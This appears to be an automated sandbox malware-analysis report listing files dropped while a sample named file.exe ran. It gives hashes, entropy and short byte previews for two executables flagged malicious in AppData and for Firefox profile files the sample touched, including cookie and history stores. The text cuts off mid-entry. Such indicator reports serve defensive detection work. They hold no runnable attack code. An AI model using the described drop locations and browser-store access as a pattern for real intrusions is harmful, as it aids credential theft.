Preview:	'use strict';function aa(){return function(){}}function l(a){return function(){return this[a]}}var n;function ba(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=da(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ca(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir1952_2061651629\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (4369)
Category:	dropped
Size (bytes):	103988
Entropy (8bit):	5.389407461078688
Encrypted:	false
SSDEEP:	1536:oXWJmOMsz9UqqRtjWLqj74SJf2VsxJ5BGOzr61SfwKmWGMJOaAFlObQ/x0BGm:yRqr6v3JnVzr6wwfMtkFSYm
MD5:	EA946F110850F17E637B15CF22B82837
SHA1:	8D27C963E76E3D2F5B8634EE66706F95F000FCAF
SHA-256:	029DFE87536E8907A612900B26EEAA72C63EDF28458A7227B295AE6D4E2BD94C
SHA-512:	5E8E61E648740FEF2E89A035A4349B2E4E5E4E88150EE1BDA9D4AD8D75827DC67C1C95A2CA41DF5B89DE8F575714E1A4D23BDE2DC3CF21D55DB3A39907B8F820
Malicious:	false
Preview:	'use strict';function k(){return function(){}}function n(a){return function(){return this[a]}}var q;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function da(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var r=da(this);function t(a,b){if(b)a:{var c=r;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&null!=b&&ba(c,a,{configurable:!0,writable:!0,value:b})}}.t("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,g

C:\Users\user\AppData\Local\Temp\tmpaddon

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	453023
Entropy (8bit):	7.997718157581587
Encrypted:	true
SSDEEP:	12288:tESTeqTI2r4ZbCgUKWKNeRcPMb6qlV7hVZe3:tEsed2Xh9/bdzZe3
MD5:	85430BAED3398695717B0263807CF97C
SHA1:	FFFBEE923CEA216F50FCE5D54219A188A5100F41
SHA-256:	A9F4281F82B3579581C389E8583DC9F477C7FD0E20C9DFC91A2E611E21E3407E
SHA-512:	06511F1F6C6D44D076B3C593528C26A602348D9C41689DBF5FF716B671C3CA5756B12CB2E5869F836DEDCE27B1A5CFE79B93C707FD01F8E84B620923BB61B5F1
Malicious:	false
Preview:	PK.........bN...R..........gmpopenh264.dll..\|.E.0.=..I.....1....4f1q.`.........q.....'+....hm{.z..o_.{w........$..($A!...\|L...B&A2.s.{..Dd......c.U.U..9u.S...K.l`...../.d.-....\|.....&....9......wn..x......i.#O.+.Y.l......+....,3.3f..\..c.SSS,............N...GG...F.'.&.:'.K.Z&.>.@.g..M...M.`............ZR....^jg.G.Kb.o~va.....<Z..1.#.O.e.....D..X..i..$imBW..Q&.......P.....,M.,..:.c...-...\...........-i.K.I..4.a..6.....Ov=...W..F.CH.>...a.'.x...#@f...d..u.1....OV.1o}....g.5.._.3.J.Hi.Z.ipM....b.Z....%.G..F................/..3.q..J.....o...%.g.N..}..).3.N%.!..q........^I.m..~...6.#.~+.....A...I]r...x...<IYj....p0..`S.M@.E..f.=.;!.@.....E..E....... .0.n....Jd..d......uM.-.qI.lR..z..=}..r.D.XLZ....x.$..\|c.1.cUkM.&.Qn]..a]t.h...!.6 7..Jd.DvKJ"Wgd*%n...w...Jni.inmr.@M.$'Z.s....#)%..Rs..:.h....R....\..t.6..'.g.........Uj+F.cr:\|..!..K.W.Y...17......,....r.....>.N..3.R.Y.._\...Ir.DNJdM... .k...&V-....z.%...-...D..i..&...6....7.2T).>..0..%.&.

C:\Users\user\AppData\RoamingBKJEGDGIJE.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1921024
Entropy (8bit):	7.948935405387356
Encrypted:	false
SSDEEP:	49152:r+D9hvn2/aJgf0UelLiX+4lDULuiJwvK:SJhAKbiXHupQK
MD5:	2EA7CDF07B824194AB50F5C5B1E61F16
SHA1:	610D8FBD406253C560EE4B8BED291ACC4BA8FF59
SHA-256:	E317B1EFD163851761B4820E09F1030B1D02E9445482629329C1E05EC4C1AF31
SHA-512:	05004324478BB1943464C51585CBE7E50ECAD79E3C036526674934B2556A8A5790A630EE488FCC5933C53F2F8C05A42C005413BF32E278E1E5DBFFD70DE2AD0E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....@.f.............................0L...........@..........................`L...........@.................................W...k...........................,.L...............................L..................................................... . ............................@....rsrc...............................@....idata ............................@... .0+.........................@...legihfsp.@....1..6..................@...iwukfltx..... L......*..............@....taggant.0...0L.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\RoamingIJEGDBGDBF.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1912832
Entropy (8bit):	7.950748761696472
Encrypted:	false
SSDEEP:	49152:DFEuNL8d5bf5BIm+Yu7jTAKTmwdFx38H:DFT85bRUY2VmiFx3W
MD5:	206643B224AE6BBD3DF9D3CA393B9E80
SHA1:	BDFDA63D6DEC9F2229A3DB520551B401A93F7F68
SHA-256:	1E67C7E3F86DF2093BE13351F75F6B35A322FD6019BAFF6B75251D8BEE29F346
SHA-512:	2E8FA732DE3AB0B2F0517DD3186DEBE3CFFD87B45D0D1B2FC1C95DB4DFD9FD999EBAB11E7897D3402AA163FB498803F44B098978133A83EA71D5FEF474FC1489
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........PJ.r>..r>..r>...=..r>...;.(r>.].:..r>.].=..r>.].;..r>...:..r>...?..r>..r?.^r>...7..r>......r>...<..r>.Rich.r>.................PE..L....A.f..............................K...........@...........................K...........@.................................W...k.............................K...............................K..................................................... . ............................@....rsrc...............................@....idata ............................@... ..*.........................@...yaomedmc. ....1.....................@...ihlphrnj......K.....................@....taggant.0....K.."..................@...........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4419
Entropy (8bit):	4.930295713937913
Encrypted:	false
SSDEEP:	96:gXiNFS+OcPUFEOdwNIOdwBjvYVbsLUK8P:gXiNFS+OcUGOdwiOdwBjkYLUK8P
MD5:	F29B9E992A72620041F740C07DA3F0DC
SHA1:	3D6436408DAFF9B9F02C7080634B434675408C9D
SHA-256:	E92FB7035C5B348397F6E73161ADCF445DFDEB832C27170CCCEC76F51DC26384
SHA-512:	7F690B6424CEA29CB72397AD23B303A1E28FAC218A3F874ED4157D3E9DCDB5A0849C8DC6EC5283433FC523DB413F47A89757E275F9F8773AE6EA885A7BF04CD1
Malicious:	false
Preview:	{"bookmarks-toolbar-default-on":{"slug":"bookmarks-toolbar-default-on","branch":{"slug":"treatment-a","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"enableBookmarksToolbar":"always"},"enabled":true,"featureId":"bookmarks"}]},"active":true,"enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201","experimentType":"nimbus","source":"rs-loader","userFacingName":"Bookmarks Toolbar Default On","userFacingDescription":"An experiment that turns the bookmarks toolbar on by default.","lastSeen":"2023-10-05T06:20:35.557Z","featureIds":["bookmarks"],"prefs":[{"name":"browser.toolbars.bookmarks.visibility","branch":"user","featureId":"bookmarks","variable":"enableBookmarksToolbar","originalValue":null}],"isRollout":false},"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4419
Entropy (8bit):	4.930295713937913
Encrypted:	false
SSDEEP:	96:gXiNFS+OcPUFEOdwNIOdwBjvYVbsLUK8P:gXiNFS+OcUGOdwiOdwBjkYLUK8P
MD5:	F29B9E992A72620041F740C07DA3F0DC
SHA1:	3D6436408DAFF9B9F02C7080634B434675408C9D
SHA-256:	E92FB7035C5B348397F6E73161ADCF445DFDEB832C27170CCCEC76F51DC26384
SHA-512:	7F690B6424CEA29CB72397AD23B303A1E28FAC218A3F874ED4157D3E9DCDB5A0849C8DC6EC5283433FC523DB413F47A89757E275F9F8773AE6EA885A7BF04CD1
Malicious:	false
Preview:	{"bookmarks-toolbar-default-on":{"slug":"bookmarks-toolbar-default-on","branch":{"slug":"treatment-a","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"enableBookmarksToolbar":"always"},"enabled":true,"featureId":"bookmarks"}]},"active":true,"enrollmentId":"d48f64a8-a4ab-4cdd-a650-4b386e41a201","experimentType":"nimbus","source":"rs-loader","userFacingName":"Bookmarks Toolbar Default On","userFacingDescription":"An experiment that turns the bookmarks toolbar on by default.","lastSeen":"2023-10-05T06:20:35.557Z","featureIds":["bookmarks"],"prefs":[{"name":"browser.toolbars.bookmarks.visibility","branch":"user","featureId":"bookmarks","variable":"enableBookmarksToolbar","originalValue":null}],"isRollout":false},"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addonStartup.json.lz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 22422 bytes
Category:	dropped
Size (bytes):	5308
Entropy (8bit):	6.599374203470186
Encrypted:	false
SSDEEP:	96:z2YbKsKNU2xWrp327tGmD4wBON6h6cHAHJVauvjZHjkTymdS1/qTMg6Uhm:zTx2x2t0FDJ4NpkuvjdeplTMohm
MD5:	EB56C2F4DA9435F3D5574161F414CD17
SHA1:	74A8FC3EC0559740FD9D835B638354985E2DEAB6
SHA-256:	394E803D5FF8E156DFA7D15E96B51A683F4624A1BCF88EAA532399AC2C9B0966
SHA-512:	DF90568D191C757392FB85BDDA5333C7FE7E3BB370C5DE8C50DD810B938D732E39B5608FB4494CAADAE99E1601989FDFC0FEBDCF70F27FFE581F904170A81E0F
Malicious:	false
Preview:	mozLz40..W....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addonStartup.json.lz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 22422 bytes
Category:	dropped
Size (bytes):	5308
Entropy (8bit):	6.599374203470186
Encrypted:	false
SSDEEP:	96:z2YbKsKNU2xWrp327tGmD4wBON6h6cHAHJVauvjZHjkTymdS1/qTMg6Uhm:zTx2x2t0FDJ4NpkuvjdeplTMohm
MD5:	EB56C2F4DA9435F3D5574161F414CD17
SHA1:	74A8FC3EC0559740FD9D835B638354985E2DEAB6
SHA-256:	394E803D5FF8E156DFA7D15E96B51A683F4624A1BCF88EAA532399AC2C9B0966
SHA-512:	DF90568D191C757392FB85BDDA5333C7FE7E3BB370C5DE8C50DD810B938D732E39B5608FB4494CAADAE99E1601989FDFC0FEBDCF70F27FFE581F904170A81E0F
Malicious:	false
Preview:	mozLz40..W....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addons.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\addons.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	3.91829583405449
Encrypted:	false
SSDEEP:	3:YWGifTJE6iHQ:YWGif9EE
MD5:	3088F0272D29FAA42ED452C5E8120B08
SHA1:	C72AA542EF60AFA3DF5DFE1F9FCC06C0B135BE23
SHA-256:	D587CEC944023447DC91BC5F71E2291711BA5ADD337464837909A26F34BC5A06
SHA-512:	B662414EDD6DEF8589304904263584847586ECCA0B0E6296FB3ADB2192D92FB48697C99BD27C4375D192150E3F99102702AF2391117FFF50A9763C74C193D798
Malicious:	false
Preview:	{"schema":6,"addons":[]}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\store.json.mozlz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:	3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\crashes\store.json.mozlz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 56 bytes
Category:	dropped
Size (bytes):	66
Entropy (8bit):	4.837595020998689
Encrypted:	false
SSDEEP:	3:3fX/xH8IXl/I3v0lb7iioW:vXpH1RPXt
MD5:	A6338865EB252D0EF8FCF11FA9AF3F0D
SHA1:	CECDD4C4DCAE10C2FFC8EB938121B6231DE48CD3
SHA-256:	078648C042B9B08483CE246B7F01371072541A2E90D1BEB0C8009A6118CBD965
SHA-512:	D950227AC83F4E8246D73F9F35C19E88CE65D0CA5F1EF8CCBB02ED6EFC66B1B7E683E2BA0200279D7CA4B49831FD8C3CEB0584265B10ACCFF2611EC1CA8C0C6C
Malicious:	false
Preview:	mozLz40.8.....{"v":1,"crashes":{},"countsByDay....rruptDate":null}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\extensions.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185052013683835
Encrypted:	false
SSDEEP:	768:AI4wvfCXh496G4C4U1W4z4xuHhvp4N4Tc4Z4S4t24U:AruBv3
MD5:	10E2D85FEF0DB266E519048D63617FA8
SHA1:	EBB307C44EBEFFA271AC58FDDE5C3A1BA52AE7B0
SHA-256:	92143A48F55639B5BD01385D0E4E78EDED4F84401A91C12AC06251EE188CFE0E
SHA-512:	164CBE725B44020AD40D165A1B1C242A7016ED8933AB9502D0D38E6CD99887D9DF49533DE54068AA4E5D8476C7791B52518A8477B8961475B7CB2C3AF54B81B1
Malicious:	false
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{87ef1fa3-cb84-4bbf-a615-45a1d14b629d}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\extensions.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	36830
Entropy (8bit):	5.185052013683835
Encrypted:	false
SSDEEP:	768:AI4wvfCXh496G4C4U1W4z4xuHhvp4N4Tc4Z4S4t24U:AruBv3
MD5:	10E2D85FEF0DB266E519048D63617FA8
SHA1:	EBB307C44EBEFFA271AC58FDDE5C3A1BA52AE7B0
SHA-256:	92143A48F55639B5BD01385D0E4E78EDED4F84401A91C12AC06251EE188CFE0E
SHA-512:	164CBE725B44020AD40D165A1B1C242A7016ED8933AB9502D0D38E6CD99887D9DF49533DE54068AA4E5D8476C7791B52518A8477B8961475B7CB2C3AF54B81B1
Malicious:	false
Preview:	{"schemaVersion":35,"addons":[{"id":"formautofill@mozilla.org","syncGUID":"{87ef1fa3-cb84-4bbf-a615-45a1d14b629d}","version":"1.0.1","type":"extension","loader":null,"updateURL":null,"installOrigins":null,"manifestVersion":2,"optionsURL":null,"optionsType":null,"optionsBrowserStyle":true,"aboutURL":null,"defaultLocale":{"name":"Form Autofill","creator":null,"developers":null,"translators":null,"contributors":null},"visible":true,"active":true,"userDisabled":false,"appDisabled":false,"embedderDisabled":false,"installDate":1695865283000,"updateDate":1695865283000,"applyBackgroundUpdates":1,"path":"C:\\Program Files\\Mozilla Firefox\\browser\\features\\formautofill@mozilla.org.xpi","skinnable":false,"sourceURI":null,"releaseNotesURI":null,"softDisabled":false,"foreignInstall":false,"strictCompatibility":true,"locales":[],"targetApplications":[{"id":"toolkit@mozilla.org","minVersion":null,"maxVersion":null}],"targetPlatforms":[],"signedDate":null,"seen":true,"dependencies":[],"incognito":"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:	12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.dll.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1021904
Entropy (8bit):	6.648417932394748
Encrypted:	false
SSDEEP:	12288:vYLdTfFKbNSjv92eFN+3wH+NYriA0Iq6lh6VawYIpAvwHN/Uf1h47HAfg1oet:vYLdTZ923NYrjwNpgwef1hzfg1x
MD5:	FE3355639648C417E8307C6D051E3E37
SHA1:	F54602D4B4778DA21BC97C7238FC66AA68C8EE34
SHA-256:	1ED7877024BE63A049DA98733FD282C16BD620530A4FB580DACEC3A78ACE914E
SHA-512:	8F4030BB2464B98ECCBEA6F06EB186D7216932702D94F6B84C56419E9CF65A18309711AB342D1513BF85AED402BC3535A70DB4395874828F0D35C278DD2EAC9C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......NH...)...)...)..eM...)..eM...)..eM..)..eM...)...)..i)..XA...)..XA..;)..XA...)...)..g)..cA...)..cA...)..Rich.)..........PE..d....z\.........." .....t................................................................`.........................................P...,...\|...(............P...H...z.................T...........................0...................p............................text...$s.......t.................. ..`.rdata...~...........x..............@..@.data....3..........................@....pdata...H...P...J..................@..@.rodata..............^..............@..@.reloc...............j..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:	3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\gmp-gmpopenh264\1.8.1.2\gmpopenh264.info.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	116
Entropy (8bit):	4.968220104601006
Encrypted:	false
SSDEEP:	3:C3OuN9RAM7VDXcEzq+rEakOvTMBv+FdBAIABv+FEn:0BDUmHlvAWeWEn
MD5:	3D33CDC0B3D281E67DD52E14435DD04F
SHA1:	4DB88689282FD4F9E9E6AB95FCBB23DF6E6485DB
SHA-256:	F526E9F98841D987606EFEAFF7F3E017BA9FD516C4BE83890C7F9A093EA4C47B
SHA-512:	A4A96743332CC8EF0F86BC2E6122618BFC75ED46781DADBAC9E580CD73DF89E74738638A2CCCB4CAA4CBBF393D771D7F2C73F825737CDB247362450A0D4A4BC1
Malicious:	false
Preview:	Name: gmpopenh264.Description: GMP Plugin for OpenH264..Version: 1.8.1.APIs: encode-video[h264], decode-video[h264].

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
